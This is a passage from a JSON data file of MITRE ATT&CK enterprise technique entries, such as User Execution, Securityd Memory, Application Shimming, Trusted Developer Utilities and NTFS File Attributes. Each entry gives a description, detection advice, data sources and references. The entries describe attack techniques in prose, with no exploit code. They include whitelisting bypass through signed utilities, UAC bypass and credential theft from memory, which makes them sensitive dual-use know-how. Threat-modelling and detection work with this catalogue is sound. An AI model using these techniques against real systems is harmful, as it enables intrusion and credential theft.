      "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.\n\nDetection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1204",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Anti-virus",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1204"
        ]
      },
      "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
      "value": "User Execution - T1204"
    },
    {
      "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1104",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Netflow/Enclave netflow",
          "Network device logs",
          "Network protocol analysis",
          "Packet capture",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1104"
        ]
      },
      "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91",
      "value": "Multi-Stage Channels - T1104"
    },
    {
      "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
      "meta": {
        "external_id": "T1167",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1167",
          "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
          "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
          "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
        ]
      },
      "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b",
      "value": "Securityd Memory - T1167"
    },
    {
      "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\n\nDetection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway",
      "meta": {
        "external_id": "T1193",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Packet capture",
          "Mail server",
          "Network intrusion detection system",
          "Detonation chamber",
          "Email gateway"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1193"
        ]
      },
      "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38",
      "value": "Spearphishing Attachment - T1193"
    },
    {
      "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1138",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Loaded DLLs",
          "System calls",
          "Windows Registry",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1138",
          "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
        ]
      },
      "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566",
      "value": "Application Shimming - T1138"
    },
    {
      "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
      "meta": {
        "external_id": "T1056",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection",
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Kernel drivers",
          "Process monitoring",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1056",
          "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
          "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
        ]
      },
      "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
      "value": "Input Capture - T1056"
    },
    {
      "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
      "meta": {
        "external_id": "T1121",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1121",
          "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
          "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
        ]
      },
      "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302",
      "value": "Regsvcs/Regasm - T1121"
    },
    {
      "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1127",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1127",
          "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
          "https://msdn.microsoft.com/library/dd393574.aspx",
          "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index",
          "https://docs.microsoft.com/visualstudio/msbuild/file-tracking",
          "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx",
          "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/",
          "https://twitter.com/subTee/status/793151392185589760",
          "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
          "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
        ]
      },
      "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
      "value": "Trusted Developer Utilities - T1127"
    },
    {
      "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1016",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1016"
        ]
      },
      "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
      "value": "System Network Configuration Discovery - T1016"
    },
    {
      "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM, User\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security",
      "meta": {
        "external_id": "T1053",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1053",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
          "https://technet.microsoft.com/library/dd315590.aspx",
          "https://technet.microsoft.com/en-us/library/cc785125.aspx",
          "https://twitter.com/leoloobeek/status/939248813465853953"
        ]
      },
      "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
      "value": "Scheduled Task - T1053"
    },
    {
      "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
      "meta": {
        "external_id": "T1154",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1154"
        ]
      },
      "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
      "value": "Trap - T1154"
    },
    {
      "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1047",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "Netflow/Enclave netflow",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1047",
          "https://en.wikipedia.org/wiki/Server%20Message%20Block",
          "https://technet.microsoft.com/en-us/library/cc787851.aspx",
          "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
          "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
        ]
      },
      "uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
      "value": "Windows Management Instrumentation - T1047"
    },
    {
      "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\n\nDetection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nMonitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers, API monitoring\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive\n\nContributors: Red Canary",
      "meta": {
        "external_id": "T1096",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Kernel drivers",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1096",
          "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
          "http://msdn.microsoft.com/en-us/library/aa364404",
          "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
          "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
          "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
          "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
          "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
        ]
      },
      "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d",
      "value": "NTFS File Attributes - T1096"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)\n\nDetection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\nDomain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
      "meta": {
        "external_id": "T1219",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Network intrusion detection system",
          "Network protocol analysis",
          "Process use of network",
          "Process Monitoring"
        ],
